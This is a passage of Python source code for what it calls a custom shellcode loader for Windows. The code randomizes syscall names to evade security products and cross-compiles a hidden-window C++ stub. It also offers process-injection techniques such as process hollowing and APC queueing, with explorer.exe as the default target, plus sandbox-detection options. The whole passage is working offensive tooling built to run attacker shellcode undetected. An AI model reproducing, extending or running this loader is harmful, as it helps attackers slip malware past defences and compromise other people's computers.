syscalls = ["NtQueryInformationProcess", "NtReadVirtualMemory", "NtProtectVirtualMemory", "NtWriteVirtualMemory", "NtResumeThread", "NtClose", "NtOpenProcess", "NtCreateThreadEx", "NtAllocateVirtualMemory", "NtWaitForSingleObject", "NtQueueApcThread", "NtAlertResumeThread", "NtGetContextThread", "NtSetContextThread", "NtDelayExecution"]
for syscall in syscalls:
random_syscall = generateRandomSyscall(name_len)
syscall_contents = syscall_contents.replace(syscall, random_syscall)
stub = stub.replace(syscall, random_syscall)
#print(syscall_contents)
f = open("Syscalls2.h", "w")
f.write(syscall_contents)
f.close()
if verbose == True:
print(Fore.BLUE + "[+] Verbose messages enabled")
file = open("stub.cpp", "w")
file.write(stub)
file.close()
print(Fore.BLUE + "[+] Saved new stub to stub.cpp")
print(Fore.BLUE + "[+] Compiling new stub...")
if verbose == True:
os.system("x86_64-w64-mingw32-g++ stub.cpp -s -w -masm=intel -fpermissive -static -lpsapi -Wl,--subsystem,console -o {}".format(outfile))
else:
os.system("x86_64-w64-mingw32-g++ stub.cpp -s -w -masm=intel -fpermissive -static -lpsapi -Wl,--subsystem,windows -o {}".format(outfile))
if os.path.exists(outfile) == True:
print(Fore.GREEN + Style.BRIGHT + "[!] {} has been compiled successfully!".format(outfile))
else:
print(Fore.RED + Style.BRIGHT + "[*] Stub compilation failed! Something went wrong!")
os.system("rm stub.cpp")
os.system("rm Syscalls2.h")
print(Fore.RED + Style.BRIGHT + Banner[1:-1])
parser = argparse.ArgumentParser(description='Mr.N1K0\'S CUSTOM SHELLCODE LOADER FOR WINDOWS DEFAULT ')
parser.add_argument("file", help="File that containing raw shellcode", type=str)
parser.add_argument('-p', '--process', dest='process', help='Process to inject into ', metavar='explorer.exe', default='explorer.exe')
parser.add_argument('-m', '--method', dest='method', help='Method for shellcode execution (Options: ProcessHollow, QueueUserAPC, RemoteThreadContext, RemoteThreadSuspended, CurrentThread) (Recommended:QueueUserAPC)', metavar='QueueUserAPC', default='QueueUserAPC')
parser.add_argument('-nr', '--no-randomize', action='store_true', help='Disable syscall name randomization')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable debugging messages upon execution and show more Info')
parser.add_argument('-d', '--dll-sandbox', action='store_true', help='Use DLL based sandbox checks instead of the standard ones')
parser.add_argument('-o', '--outfile', dest='out', help='Name of output file ', metavar='output.exe', default='output.exe')
if len(sys.argv) < 2:
parser.print_help()
sys.exit()
args = parser.parse_args()
try:
if os.path.exists(args.out) == True:
os.system("rm {}".format(args.out))
method = args.method.lower()
if method != "queueuserapc" and method != "processhollow" and method != "remotethreadsuspended" and method != "remotethreadcontext" and method != "currentthread":
print(Fore.RED + Style.BRIGHT + "[-] Invalid shellcode execution method provided !")
print(Fore.RED + Style.BRIGHT + "[-] Valid shellcode execution methods are: ProcessHollow, QueueUserAPC, RemoteThreadContext, RemoteThreadSuspended, CurrentThread")
sys.exit()
key = generateKey(49)
main(stub, args.file, args.out, key, args.process, method, args.no_randomize, args.verbose, args.dll_sandbox)
except:
raise
sys.exit()